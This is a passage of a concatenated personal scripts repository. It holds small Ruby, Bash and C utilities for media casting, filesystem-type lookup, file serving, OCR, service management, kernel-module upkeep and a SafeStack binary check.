= args.join(" ") puts "Device changed to: #{device.inspect}" end when "aliases" puts aliases when "devices" puts "Aliases:" puts aliases puts puts "Devices:" puts devices when "seek", "pos" if args.empty? puts status(device).each_line.grep(/^Time:/) else catt("seek", args.first, device: device) end when "volume", "vol" if args.empty? puts status(device).each_line.grep(/^Volume:/) else volume = args.first.to_i.clamp(0..100) puts "Setting volume to #{volume}" catt("volume", volume.to_s, device: device) end when "s" process_command("status", device: device) when "monitor", "mon" monitor(device: device) when "next" process_command("skip", device: device) when "commands" p valid_commands else if valid_commands.include? cmd catt(cmd, *args, device: device) else puts "Error: #{cmd.inspect} is not a valid command" end end end ######################################################## def repl(opts={}) require 'readline' Thread.new { help } # pre-cache help device = opts[:device] loop do input = Readline.readline("> ", true) unless input and not input.empty? puts return end cmd, args = input.split args = [args].flatten.compact process_command(cmd, *args, device: device) end end ######################################################## if opts.scan? catt("scan", device: opts[:device]) elsif opts.info? catt("status", device: opts[:device]) elsif opts.verbose? catt("info", device: opts[:device]) elsif opts.next? catt("skip", device: opts[:device]) elsif opts.pause? playpause elsif time = opts[:seek] catt("seek", time, device: opts[:device]) elsif url = opts[:url] catt("cast_site", url, device: opts[:device]) else if args.empty? repl(opts) else catt("cast", args.pop, device: opts[:device]) unless opts.add? args.each { |arg| catt("add", arg, device: opts[:device]) } end end <file_sep>#include <sys/vfs.h> #include <stdio.h> #define ARRAY_LEN(a) (sizeof(a) / sizeof((a)[0])) /* This list is generated by doing search and replace on the output from `man statfs` Here's the Regex I used: ^\s+(\w+?)(?:_SUPER)?_MAGIC(?:\w+)?\s+(\w+) => { "\1", \2 }, Some can also be gotten from /usr/include/linux/magic.h: #define (\w+)(?:_SUPER)?_MAGIC(?:\w+)?\s+(\w+) => { "\1", \2 }, */ static const struct { const char *name; unsigned int f_type; } FSTypes[] = { { "ADFS", 0xadf5 }, { "AFFS", 0xadff }, { "AFS", 0x5346414f }, { "ANON_INODE_FS", 0x09041934 }, /* Anonymous inode FS */ { "AUTOFS", 0x0187 }, { "BDEVFS", 0x62646576 }, { "BEFS", 0x42465331 }, { "BFS", 0x1badface }, { "BINFMTFS", 0x42494e4d }, { "BPF_FS", 0xcafe4a11 }, { "BTRFS", 0x9123683e }, { "BTRFS_TEST", 0x73727279 }, { "CGROUP", 0x27e0eb }, /* Cgroup pseudo FS */ { "CGROUP2", 0x63677270 }, /* Cgroup v2 pseudo FS */ { "CIFS", 0xff534d42 }, { "CODA", 0x73757245 }, { "COH", 0x012ff7b7 }, { "CRAMFS", 0x28cd3d45 }, { "DEBUGFS", 0x64626720 }, { "DEVFS", 0x1373 }, /* Linux 2.6.17 and earlier */ { "DEVPTS", 0x1cd1 }, { "ECRYPTFS", 0xf15f }, { "EFIVARFS", 0xde5e81e4 }, { "EFS", 0x00414a53 }, { "EXT", 0x137d }, /* Linux 2.0 and earlier */ { "EXT2_OLD", 0xef51 }, { "EXT2", 0xef53 }, { "EXT3", 0xef53 }, { "EXT4", 0xef53 }, { "F2FS", 0xf2f52010 }, { "FUSE", 0x65735546 }, { "FUTEXFS", 0xbad1dea }, /* Unused */ { "HFS", 0x4244 }, { "HOSTFS", 0x00c0ffee }, { "HPFS", 0xf995e849 }, { "HUGETLBFS", 0x958458f6 }, { "ISOFS", 0x9660 }, { "JFFS2", 0x72b6 }, { "JFS", 0x3153464a }, { "MINIX", 0x137f }, /* original minix FS */ { "MINIX", 0x138f }, /* 30 char minix FS */ { "MINIX2", 0x2468 }, /* minix V2 FS */ { "MINIX2", 0x2478 }, /* minix V2 FS, 30 char names */ { "MINIX3", 0x4d5a }, /* minix V3 FS, 60 char names */ { "MQUEUE", 0x19800202 }, /* POSIX message queue FS */ { "MSDOS", 0x4d44 }, { "MTD_INODE_FS", 0x11307854 }, { "NCP", 0x564c }, { "NFS", 0x6969 }, { "NILFS", 0x3434 }, { "NSFS", 0x6e736673 }, { "NTFS_SB", 0x5346544e }, { "OCFS2", 0x7461636f }, { "OPENPROM", 0x9fa1 }, { "OVERLAYFS", 0x794c7630 }, { "PIPEFS", 0x50495045 }, { "PROC", 0x9fa0 }, /* /proc FS */ { "PSTOREFS", 0x6165676c }, { "QNX4", 0x002f }, { "QNX6", 0x68191122 }, { "RAMFS", 0x858458f6 }, { "REISERFS", 0x52654973 }, { "ROMFS", 0x7275 }, { "SECURITYFS", 0x73636673 }, { "SELINUX", 0xf97cff8c }, { "SMACK", 0x43415d53 }, { "SMB", 0x517b }, { "SMB2", 0xfe534d42 }, { "SOCKFS", 0x534f434b }, { "SQUASHFS", 0x73717368 }, { "SYSFS", 0x62656572 }, { "SYSV2", 0x012ff7b6 }, { "SYSV4", 0x012ff7b5 }, { "TMPFS", 0x01021994 }, { "TRACEFS", 0x74726163 }, { "UDF", 0x15013346 }, { "UFS", 0x00011954 }, { "USBDEVICE", 0x9fa2 }, { "V9FS", 0x01021997 }, { "VXFS", 0xa501fcf5 }, { "XENFS", 0xabba1974 }, { "XENIX", 0x012ff7b4 }, { "XFS", 0x58465342 }, }; const char* lookup_fs_name(unsigned int f_type) { for (int i = 0; i < ARRAY_LEN(FSTypes); i++) if (FSTypes[i].f_type == f_type) return FSTypes[i].name; return NULL; } int main(int argc, char* argv[]) { struct statfs buf; char* path; const char* fsname; if (argc < 2) { printf( "usage:\n" " %s <path(s) to any mounted filesystem(s)>\n" "\n" "purpose:\n" " Print the VFS f_type of the specified paths (using statfs(3))\n" "\n", argv[0]); return 1; } for (int i = 1; i < argc; i++) { path = argv[i]; statfs(path, &buf); fsname = lookup_fs_name(buf.f_type); if (fsname == NULL) fsname = "unknown"; printf("%s: %s (0x%x)\n", path, fsname, buf.f_type); } return 0; } <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' require 'net/ping' def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: pingall [options]" # on 'c', 'codecs', 'List the availiable codecs' # on 'u=', 'use', 'Tool to use (ffmpeg, mencoder)', default: "ffmpeg" end [opts, ARGV] end class Result < Struct.new(:ip, :host) attr_accessor :pings def ping!(n=5, delay=0.1) @pings ||= [] n.times do # ... end sleep delay end end opts, args = parse_options results = [] dns = Resolv::DNS.new args.each do |arg| dns.each_address(arg) do |a| ip = a.to_s name = dns.getname(ip).to_s results << Result.new(ip, name) end end pp results binding.pry # results.each<file_sep>#!/bin/bash # CREATE TABLE songs ( # /* Metadata from taglib */ # title TEXT, # album TEXT, # artist TEXT, # albumartist TEXT, # composer TEXT, # track INTEGER, # disc INTEGER, # bpm REAL, # year INTEGER, # genre TEXT, # comment TEXT, # compilation INTEGER, # length INTEGER, # bitrate INTEGER, # samplerate INTEGER, # /* Information about the file on disk */ # directory INTEGER NOT NULL, # filename TEXT NOT NULL, # mtime INTEGER NOT NULL, # ctime INTEGER NOT NULL, # filesize INTEGER NOT NULL, # sampler INTEGER NOT NULL DEFAULT 0, # art_automatic TEXT, # art_manual TEXT, # filetype INTEGER NOT NULL DEFAULT 0, # playcount INTEGER NOT NULL DEFAULT 0, # lastplayed INTEGER, # rating INTEGER, # forced_compilation_on INTEGER NOT NULL DEFAULT 0, # forced_compilation_off INTEGER NOT NULL DEFAULT 0, # effective_compilation NOT NULL DEFAULT 0, # skipcount INTEGER NOT NULL DEFAULT 0, # score INTEGER NOT NULL DEFAULT 0, # beginning INTEGER NOT NULL DEFAULT 0, # cue_path TEXT, # unavailable INTEGER DEFAULT 0, # effective_albumartist TEXT, # etag TEXT, # performer TEXT, # grouping TEXT # ); if [ "$1" == "" ]; then DB=~/.config/Clementine/clementine.db else DB="$1" fi sqlite3 "$DB" "select rating, playcount, artist, album, title, filename from songs where rating > 0 order by rating;" <file_sep>gem 'coffee-rails-source-maps' gem 'haml-rails' gem 'jquery-rails' gem 'pg' gem 'simple_form' gem_group :development, :test do gem 'pry-rails' gem 'pry-theme' gem 'best_errors' gem 'quiet_assets' gem 'letter_opener' gem 'faker' gem 'spring' end environment 'config.action_mailer.delivery_method = :letter_opener', env: 'development' # environment 'config.assets.js_compressor = :closure', env: 'assets' rakefile("db.rake") do %{ namespace :db do desc "Reimport everything" task remigrate: [:drop, :create, :migrate] end } end generate "haml:application_layout", "convert" # rake "haml:erb2haml" after_bundle do git :init git add: "." git commit: %Q{ -m 'First commit.' } end run "subl ." <file_sep>#!/usr/bin/ruby ############################################################### ## keepvid ############################################################### ## Automatically download youtube videos as .mp4 files ## require 'rubygems' require 'hpricot' require 'open-uri' ############################################################### # step 1: get video title def get_video_title(youtube_url) doc = Hpricot(open(youtube_url)) (doc/"title").each do |title| return $1 if title.inner_text =~ %r{YouTube - (.+)} end end ############################################################### # step 2: post to keepvid form & get urls def keepvid_urls(url) doc = Hpricot(open("http://keepvid.com/?url=#{URI.escape(url)}")) urls = {} (doc/"a").each do |e| if (href = e.attributes["href"]) =~ /save-video\.(\w{3})/ urls[$1.to_sym] = "http://keepvid.com#{href}" end end # flv # http://keepvid.com/save-video.flv?http%3A%2F%2Fwww.youtube.com%2Fget_video%3Fvideo_id%3DtsgXMRB4TeQ%26t%3DOEgsToPDskKWdRg2fuNSdntV1dNSi1H5 # mp4 # http://keepvid.com/save-video.mp4?http%3A%2F%2Fwww.youtube.com%2Fget_video%3Fvideo_id%3DtsgXMRB4TeQ%26t%3DOEgsToPDskKWdRg2fuNSdntV1dNSi1H5%26fmt%3D18 urls end ############################################################### # step 3: download def download(url, dest) #system("wget", "-c", url, "-O", fix_filename(dest)) system('curl', '-L', '-C', '-', url, '-o', fix_filename(dest)) end def fix_filename(filename) filename.tr(%{":/},%{',,}) end ############################################################### # help def help puts "usage: keepvid [youtube url]" end ############################################################### # main def grab(youtube_url) title = get_video_title(youtube_url) puts "title: #{title}" urls = keepvid_urls(youtube_url) if url = urls[:mp4] download(url, "#{title}.mp4") end end ########################## if __FILE__ == $0 if ARGV.size == 0 help else puts "Downloading #{ARGV.size} urls..." for url in ARGV grab(url) end end end ########################## <file_sep>#!/bin/bash # # 'hdmi-audio-toggle' automagically switches pulseaudio output the best sink (HDMI or internal) # msg() { echo "$*" notify-send "$*" } CARD_PATH="/sys/class/drm/card0/" # AUDIO_OUTPUT="analog-surround-40" AUDIO_OUTPUT="analog-stereo" for OUTPUT in $(cd "$CARD_PATH" && echo card*); do OUT_STATUS=$(<"$CARD_PATH"/"$OUTPUT"/status) if [[ $OUT_STATUS == connected ]] then echo "$OUTPUT connected" case "$OUTPUT" in "card0-HDMI-A-1") AUDIO_OUTPUT="hdmi-stereo" # Digital Stereo (HDMI 1) ;; "card0-HDMI-A-2") AUDIO_OUTPUT="hdmi-stereo-extra1" # Digital Stereo (HDMI 2) ;; esac fi done msg "HDMI output: $AUDIO_OUTPUT" pactl set-card-profile 0 output:$AUDIO_OUTPUT+input:analog-stereo ## Use this if you're not the user who controls the pulse session # PULSE_SERVER="unix:/run/user/"$USER_ID"/pulse/native" # USER_NAME=$(who | awk -v vt=tty$(fgconsole) '$0 ~ vt {print $1}') # USER_ID=$(id -u "$USER_NAME") # sudo -u "$USER_NAME" pactl --server "$PULSE_SERVER" set-card-profile 0 output:$AUDIO_OUTPUT+input:analog-stereo <file_sep>#!/usr/bin/env ruby pattern = nil args = ARGV while args.any? arg = args.shift case arg when "--help" puts DATA.read exit 0 when "-p" pattern = args.shift when %r{^/([^/]+)/$} pattern = Regexp.new $1 else input = open(arg) end end input = $stdin unless input input.each_line do |line| line.scan(pattern).each { |match| puts match } end __END__ purpose: Scan a file for a regular expression, and print each match. If no file is specified, STDIN is used. usage: scan -p <pattern> [file] scan /pattern/ [file] scan [file] /pattern/ cat file | scan /pattern/ <file_sep>#!/usr/bin/env ruby require 'sinatra' require 'sinatra/directory_listing' require 'pry/rescue' set :public_folder, Dir.pwd set :bind, "0.0.0.0" list_opts = { :filename_truncate_length => 100, } get '*' do |path| # require 'pry'; binding.pry Pry.rescue { if File.exist?(File.join(settings.public_folder, path)) if File.directory?(File.join(settings.public_folder, path)) list(list_opts) else send_file File.join(settings.public_folder, path) end else not_found end } end not_found do 'Try again.' end <file_sep>#!/usr/bin/env ruby require 'epitools' require 'open-uri' query = ARGV.join("+") uri = "http://api.duckduckgo.com/?q=#{query.urlencode}&format=json" result = open(uri).read.from_json lesspipe(wrap: true) do |less| less.puts uri less.puts result def puts_if(thing) less.puts thing if thing end less.puts "<1>### <15>Searching for: <14>#{query} <1>###################".colorize less.puts if definition = result["Definition"] and !definition.blank? less.puts "<11>>> <14>#{definition}".gsub(" definition: ", "<8>: <7>").colorize less.puts end if abstract = result["Abstract"] and !abstract.blank? less.puts "<15>Abstract: <7>#{abstract}".colorize end result["RelatedTopics"].each do |related| if topics = related["Topics"] less.puts "<8>== <11>#{related["Name"]} <8>==".colorize less.puts topics.each do |topic| less.puts " <3>* <7>#{topic["Text"]} <8>(<9>#{topic["FirstURL"]}<8>)".colorize end less.puts elsif text = related["Text"] less.puts "<9>* <7>#{text}".colorize less.puts end end end <file_sep>#!/usr/bin/env ruby gem 'charlock_holmes' require 'charlock_holmes' require 'epitools' if ARGV.empty? puts "Usage: fixutf8 <files...>" puts puts "(note: preserves the original files by adding .bak to the filename)" exit 1 end paths = ARGV.map(&:to_Path) paths.each do |input| print "* #{input.filename}... " data = input.read encoding = CharlockHolmes::EncodingDetector.detect(data)[:encoding] if encoding == "UTF-8" puts "UTF-8".light_green else output = input.dup input.rename!(filename: input.filename + ".bak") data_utf8 = CharlockHolmes::Converter.convert data, encoding, 'UTF-8' output.write(data_utf8) puts "#{encoding} => UTF-8".light_red end end<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: pyrescue <script> [args]" exit 1 fi ipython2 --pdb -- "$@" <file_sep>#!/usr/bin/env ruby ######################################################## require 'active_support/core_ext/hash/conversions' require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: xml2json [options] <xml file(s)>" on "f", "force", "Le force" on "c", "stdout", "Do not write a file, but instead, write a STDOUT" end args = ARGV ######################################################## paths = args.map &:to_Path paths.each do |infile| unless infile.exists? puts "Error: #{infile} not found. Skipping." next end if opts.stdout? output = $stdout else output = infile.with(ext: "json") if output.exists? and not opts.force? puts "Error: #{output} already exists. Skipping" next end puts "* #{infile.filename} => #{output.filename}" end json = Hash.from_xml(infile.read).to_json output.write(json) end <file_sep>#!/bin/bash # DEPENDENCIES: tesseract-ocr imagemagick yad # - tesseract won't work if LC_ALL is unset so we set it here # - you might want to delete or modify this line if you # have a different locale: export LC_ALL=en_US.UTF-8 # # language selection dialog # TITLE=ScreenOCR # set yad variables # LANG=$(yad \ # --width 300 --entry --title "$TITLE" \ # --image=gnome-screenshot \ # --window-icon=gnome-screenshot \ # --button="ok:0" --button="cancel:1" \ # --text "Select language:" \ # --entry-text \ # "eng" "ita" "deu") # RET=$? # check return status # if [ "$RET" = 252 ] || [ "$RET" = 1 ] # WM-Close or "cancel" # then # exit # fi # echo "Language set to $LANG" LANG="eng" SCR_IMG=`mktemp` # create tempfile trap "rm $SCR_IMG*" EXIT # make sure tempfiles get deleted afterwards notify-send "Select OCR region now." # scrot -s $SCR_IMG.png #take screenshot of area import $SCR_IMG.png #take screenshot of area mogrify -modulate 100,0 -resize 400% $SCR_IMG.png # postprocess to prepare for OCR tesseract -l $LANG $SCR_IMG.png $SCR_IMG # OCR in given language cat $SCR_IMG.txt | yad \ --width 400 --height 400 \ --button="Copy:1" --button="Close:0" \ --text "OCRed text:" \ --text-info RET=$? if [ $RET = 1 ]; then cat $SCR_IMG.txt | xsel -bi # pass to clipboard fi exit <file_sep>#!/bin/bash color=`yad --color 2>/dev/null` notify-send "Selected color:" "$color (Copied to clipboard)" echo "Selected color: $color (Copied to clipboard)" echo "$color" | xclip -i -selection clipboard <file_sep>#!/bin/bash unset CC CFLAGS CXX CXXFLAGS MAKE PARAMS PROCESSORS="`cat /proc/cpuinfo|grep "processor"|wc -l`" CONFIGFILE=buildconfig MAKE="make -j`expr $PROCESSORS + 2`" PARAMS="" if [ -f $CONFIGFILE ] then echo "==================== Loading parameters... ======================" . $CONFIGFILE fi export CC CFLAGS CXX CXXFLAGS MAKE PARAMS echo "" echo " Procssors: $PROCESSORS" echo "" echo " ====== Parameters: ===========================" echo " CC=$CC" echo " CFLAGS=$CFLAGS" echo " CXX=$CXX" echo " CXXFLAGS=$CXXFLAGS" echo " MAKE=$MAKE" echo " PARAMS=$PARAMS" echo "" if [ -f configure ]; then echo "============================ Configuring... ===============================" if ./configure $PARAMS then echo "============================ Making... ==================================" eval $MAKE echo "========================= DONE! ==============================" else echo "===================== Configure failed! ========================" fi elif [ -f Rakefile ]; then echo "========================= Raking Build ==============================" rake build elif [ -f waf ]; then ./waf configure && ./waf build -j${PROCESSORS} fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## class IO def name case fileno when 0 "STDIN" when 1 "STDOUT" when 2 "STDERR" else respond_to?(:base_uri) ? base_uri.to_s : path end end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: html2csv [options] <url or file>" on "o=", "output", "Output to a file" on "v", "view", "View tables instead of converting to CSV" on "s", "short", "Print an excerpt from each table" on "n=", "number", "Which table?", default: 1 end args = ARGV ######################################################## class Table < Struct.new(:header, :rows) def self.textify(e) # require 'pry';binding.pry if e.is_a? Nokogiri::XML::NodeSet e.map { |ec| textify(ec) }.join(" ") elsif e.is_a? Nokogiri::XML::Node if e.text? e.to_s elsif e.name == "a" desc = textify(e.children) "#{desc.empty? ? "" : "#{desc} - "}#{e["href"]}" else e.children.map { |ec| textify(ec) }.join(" ") end else raise "wtf" end end def self.row_to_array(row) row.search("td, th").map { |cell| textify(cell) } end def self.from_node(table) rows = table.search("tr") if rows.first.at("th") or rows.first.ancestors("thead") header = row_to_array(rows.first) rows = rows[1..-1] end array = rows.map do |row| row_to_array(row) end new(header, array) end def to_csv(io) csv = CSV.new(io) csv << header rows.each { |row| csv << row } end def to_s(amount: nil) require 'terminal-table' if amount and amount < rows.size to_print = rows[0..amount] to_print << (["..."] * rows.first.size) else to_print = rows end Terminal::Table.new(headings: header, rows: to_print).to_s end end if args.size != 1 puts opts exit 1 end path = Path[args.first] $stderr.puts "* Parsing: #{path}" doc = Nokogiri::HTML(path.read) nodes = doc.search("table") if table_num = opts[:number].to_i table = Table.from_node(nodes[table_num-1]) indexed_tables = [[table, table_num]] else indexed_tables = nodes.map.with_index { |node, i| [Table.from_node(node), i+1]} end if opts.view? or opts.short? lesspipe do |less| # begin; less = $stdout indexed_tables.each do |table, i| less.puts "Table: ##{i}:" less.puts table.to_s(amount: opts.short? ? 4 : nil) less.puts end end else table, num = indexed_tables.first if outfile = opts[:output] output = Path[outfile] else output = $stdout end $stderr.puts "* Writing table ##{num} to #{output.name}.." table.to_csv(output) end <file_sep>#!/usr/bin/env ruby ####################################################################### # TODOs: # - after starting the service, tail the status log (through less (until the user hits "q")) # - "start" => start + status # - "enable" => enable + start # - Fuzzy matching when script isn't found ####################################################################### def running_as_root? Process.uid == 0 end ####################################################################### class Systemd def initialize(user_mode=false) @user_mode = user_mode end def user_mode?; @user_mode; end def self.detected? system("pidof systemd > /dev/null") end def systemctl(*args) opts = args.last.is_a?(Hash) ? args.pop : {} cmd = if user_mode? %w[systemctl --user] else if running_as_root? or !opts[:sudo] %w[systemctl] else %w[sudo systemctl] end end cmd += args puts print "\e[30m\e[1m=>" print " \e[36m\e[1m#{opts[:msg]}" if opts[:msg] puts " \e[30m\e[1m(\e[34m\e[1m#{cmd.join(" ")}\e[30m\e[1m)\e[0m" puts system *cmd end def services # lines = `systemctl --all -t service`.lines.map(&:strip)[1..-1].split_before{|l| l.blank? }.first # lines.map { |line| line.split.first.gsub(/\.service$/, "") }.reject { |s| s[/^(systemd-|console-kit|dbus-org)/] or s[/@$/] } systemctl("list-unit-files", msg: "Units", sudo: false) end def search(query) systemctl("list-unit-files", query, msg: "Searching for: #{query}") end def reload systemctl("daemon-reload", msg: "Reloading systemd configuration") end def reexec systemctl("daemon-reexec", msg: "Reexecuting systemd") end # "command1>command2" means to call command2 whenever command1 is called # something starting with a ":" means to call a method %w[start>status stop>status restart>status disable>stop enable>:start mask>stop>status unmask>status].each do |command| commands = command.split(">") define_method commands.first do |service| commands.each do |command| case command when /^:(.+)$/ send($1, service) else systemctl command, service end end end end # def start(service) # systemctl "start", service # end # def stop(service) # systemctl "stop", service # end # def restart(service) # systemctl "restart", service # end def status(service, amount=nil) cmd = ["status", "-l"] cmd += ["-n", amount.to_s] if amount cmd << service systemctl *cmd, msg: "Status of: #{service}" end def default services end def default_command(service) status(service, 33) end end ####################################################################### class Initd def initialize @initdir = %w[ /etc/init.d /etc/rc.d ].find {|dir| File.directory? dir } end def services Path["#{@initdir}/*"].map(&:filename).compact.sort end def reload puts "Reload not needed for init.d" end def run(service, command) cmd = ["#{@initdir}/#{service}", command] cmd = ["sudo", *cmd] unless running_as_root? system *cmd end def start(service) run(service, "start") end def stop(service) run(service, "stop") end def restart(service) run(service, "restart") end def search(query) require 'epitools' regexp = Regexp.new(query) puts "Services (search query: /#{regexp}/):" puts "=================================================" highlighted = services.map { |s| s.highlight(query) if query =~ s }.compact puts Term::Table.new(highlighted, :ansi=>true).by_columns end def default require 'epitools' puts "Services:" puts "=============================" puts Term::Table.new(services).by_columns end def default_command(service) restart(service) end end ####################################################################### class Runit def initialize @initdir = %w[ /etc/init.d /etc/rc.d ].find {|dir| File.directory? dir } end def services Path["#{@initdir}/*"].map(&:filename).compact.sort end def reload puts "Reload not needed for init.d" end def run(service, command) cmd = ["#{@initdir}/#{service}", command] cmd = ["sudo", *cmd] unless running_as_root? system *cmd end def start(service) run(service, "start") end def stop(service) run(service, "stop") end def restart(service) run(service, "restart") end def search(query) require 'epitools' puts "Services (filtered by /#{query}/):" puts "=================================================" highlighted = services.map { |s| s.highlight(query) if query =~ s }.compact puts Term::Table.new(highlighted, :ansi=>true).by_columns end def default require 'epitools' puts "Services:" puts "=============================" puts Term::Table.new(services).by_columns end def default_command(service) restart(service) end end ####################################################################### args = ARGV if Systemd.detected? manager = Systemd.new( args.delete("--user") ) else manager = Initd.new end # Parse args if args.empty? # No args manager.default elsif args.any? { |arg| ["reload", "daemon-reload"].include? arg } manager.reload elsif args.first =~ %r{/(.+?)/} manager.search("*#{$1}*") else case args.size when 2 service, command = args when 1 service, command = args.first, "default_command" end manager.send(command, service) end <file_sep>#!/usr/bin/env ruby # # Freeze Kernel Modules (Arch Boot Maintenance Script) by epitron # # Purpose: When you upgrade the kernel in Arch, this script will ensure that the old kernel modules # don't get deleted, allowing the system to keep fuctioning normally until the next reboot, # at which time the old modules will be removed. # # Usage: Run this script as root when the machine starts. # # # Verbosely run a shell command # (Prints the command it runs, and if there's an error, it tells the user and terminates the script.) # def cmd(*args) puts " => #{args.join(" ")}" print " " unless system(*args) $stderr.puts "[!] Command exited with error (may not be fatal)" end end # Make sure the script is running as root if Process.uid != 0 $stderr.puts "[!] Error: This script must be run as the root user." exit 1 end Dir.chdir("/lib/modules") # Detect new and old kernel module directories everything = Dir["*"] extra_modules = Dir["extramodules-*"] current_modules = Dir["extramodules-*/version"].map { |v| File.read(v).strip } old_modules = everything - (current_modules + extra_modules) # Make sure the current kernel modules directories are present! current_modules.each do |k| unless File.directory? k $stderr.puts "[!] Error: The modules directory /lib/modules/#{k} is missing. Something has gone awry; please investigate." exit 1 end end # Unprotect and remove the old module dirs if old_modules.any? puts "[*] Removing old kernel modules:" cmd("chattr", "-R", "-i", *old_modules) cmd("rm", "-rf", *old_modules) end # Protect the new module dirs if current_modules.any? puts "[*] Protecting new kernel modules:" cmd("chattr", "-R", "+i", *current_modules) end <file_sep>#!/usr/bin/env bash SCRIPTS=$(dirname `which sup`) echo "--------------------------------" echo "Updating $SCRIPTS" echo "--------------------------------" pushd $SCRIPTS > /dev/null echo "* git pull" echo -n " |_ " git pull echo echo "* done!" popd > /dev/null <file_sep>#! /bin/bash file="$1" OS=$(uname -s) ARCH=$(uname -i) function usage() { echo ./check-safe-stack.sh '<binary>' exit } if [[ $# -eq 0 ]] ; then usage fi if ! [[ -r "$file" ]] ; then echo "$file: permission denied" exit 1 fi if objdump -x "$file" | grep '\.note\.SafeStack' ; then echo "found SafeStack note." else echo "SafeStack note missing." exit 1 fi if [[ "$OS" = "FreeBSD" -a "$ARCH" = "amd64" ]] ; then if objdump -d "$file" | grep '%fs:0x18' ; then echo "found SafeStack usage." else echo "SafeStack usage missing." exit 1 fi elif [[ "$OS" = "FreeBSD" -a "$ARCH" = "i386" ]] ; then if objdump -d "$file" | grep '%gs:0xc' ; then echo "found SafeStack usage." else echo "SafeStack usage missing." exit 1 fi else if objdump -x "$file" | grep '__safestack_init' ; then echo "found __safestack_init." else echo "__safestack_init missing." exit 1 fi fi echo "$file sounds good ;-)" <file_sep>#!/bin/bash if [ "$1" == "" ] then echo "usage: service-enable <servicename>" else sudo update-rc.d $1 defaults fi <file_sep>#!/usr/bin/env ruby # Creates a webserver on port 8888 for the current dir (or optionally, the directory passed on the commandline) require 'rack' require 'epitools' class Array include Comparable end class Path def name dir? ? dirs.last : filename end def sort_key [dir? ? 0 : 1, name] end def <=>(other) self.sort_key <=> other.sort_key end end def to_row(row) " <tr>\n" + row.map {|cell| " <td>#{cell}</td>" }.join("\n") + "\n </tr>\n" end class DirectoryLister attr_accessor :root, :params def initialize(root) @root = root end def send_html(html) [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, html.each_line ] end def entity_not_found body = "Entity not found: #{@path_info}\n" size = Rack::Utils.bytesize(body) return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s, "X-Cascade" => "pass"}, [body]] end def check_forbidden return unless @path_info.include? ".." body = "Forbidden\n" size = Rack::Utils.bytesize(body) return [403, {"Content-Type" => "text/plain", "Content-Length" => size.to_s, "X-Cascade" => "pass"}, [body]] end def directory_listing_html(requested, relative_path, order) html = [] html << %{ <style> a { text-decoration: none; color: blue; } .dir { background-color: yellow; font-weight: bold; } </style> } files = requested.ls order_by = order || "name" case order_by when "date" files.sort_by! { |f| -f.mtime.to_i } when "name" files.sort! when "size" files.sort_by! { |f| -f.size } else raise "unknown order_by: #{order_by}" end html << "<table>" titles = %w[name size date].map do |col| %{<a href="?order=#{col}"><b>#{col.titlecase}</b></a>} end html << to_row(titles) files.each do |file| link = %{<a href="#{File.join(relative_path, file.name)}" class="#{file.dir? ? "dir" : "file"}">#{file.name}</a>} size = file.size.to_s.reverse.each_slice(3).to_a.join(" ") date = file.mtime.strftime("%Y-%m-%d") html << to_row([link, size, date]) end html << "</table>" html.join("\n") end def call(env) req = Rack::Request.new(env) pp env params = env["QUERY_STRING"].to_params relative_path = req.path_info requested = root/relative_path if requested.dir? if (index = requested/"index.html").exists? # serve index.html send_html index.read else # serve directory listing send_html directory_listing_html(requested, relative_path, params["order"]) end else # serve file Rack::File.new(@root.path).call(env) end end end if ARGV.first root = Path[ARGV.first] else root = Path.pwd end PORT=3000 puts puts "* Serving files in: #{root}" puts " on: http://0.0.0.0:#{PORT}/" puts # server = Rack::Handler.pick ['thin', 'webrick'] server = Rack::Handler.pick ['webrick'] server.run DirectoryLister.new(root), Port: PORT <file_sep>#!/bin/bash wget -p -k "$@" <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'colored' require 'open3' def help errormsg=nil puts "usage: pms <regexp>" if errormsg puts "error: #{msg}" end exit 1 end help "no search string" if ARGV.size < 0 pattern = /(#{ARGV.join ' '})/i #lessinp, lessout, lesserr = Open3.popen3("less -SR -") Open3.popen3("pacman -Ss") do |pacinp, pacout, pacerr| puts "pacman running" pacout.each_slice(2) do |slice| if slice.any? { |line| line =~ pattern } slice.each { |line| puts line.gsub(pattern) { |match| match.red } } end end end <file_sep>#!/usr/bin/env ruby ######################################################## require 'json' require 'coderay' require 'pp' ######################################################## # # TODOs: # - bug: 'title' is blank when adding URLs to the playlist # - https://kodi.wiki/view/JSON-RPC_API/v12#Files.Media # - 5.11.1 Playlist.Add # - 6.19.2 Playlist.Item # - 6.13.3 List.Fields.Files (maybe can be used to set the blank 'title' property for urls?) # - 6.13.31 List.Item.Base (Extends: Video.Details.File (also has a 'title')) # - fix for when youtube player breaks: set the audio/video urls manually using: # - 6.18.10 Player.Property.Value # Type: object # Properties: # [array audiostreams] # [Player.Audio.Stream currentaudiostream] # [Player.Subtitle currentsubtitle] # [Player.Video.Stream currentvideostream] # [Player.Type type = video] # [array videostreams] =begin Playlist.Add { "additionalProperties": false, "properties": { "directory": { "required": true, "type": "string" }, "media": { "$ref": "Files.Media", "default": "files" }, "recursive": { "default": false, "type": "boolean" } }, "type": "object" }, 6.24.6 Video.Details.Media Extends: Video.Details.Base Properties: [string title] JSON Schema Description { "extends": "Video.Details.Base", "id": "Video.Details.Media", "properties": { "title": { "default": "", "type": "string" } } } 6.24.23 Video.Streams Type: object Properties: [array audio] [array subtitle] [array video] =end ######################################################## KODIRC = File.expand_path("~/.kodirc") CONFIG = %i[host port user pass].zip(File.read(KODIRC).each_line.map(&:strip)).to_h MEDIA_DIRS = ["#{Dir.home}/media/"] THEMES = { siberia: {:class=>"\e[34;1m", :class_variable=>"\e[34;1m", :comment=>"\e[33m", :constant=>"\e[34;1m", :error=>"\e[37;44m", :float=>"\e[33;1m", :global_variable=>"\e[33;1m", :inline_delimiter=>"\e[32m", :instance_variable=>"\e[34;1m", :integer=>"\e[33;1m", :keyword=>"\e[36m", :method=>"\e[36;1m", :predefined_constant=>"\e[36;1m", :symbol=>"\e[36m", :regexp=>{:modifier=>"\e[36m", :self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", 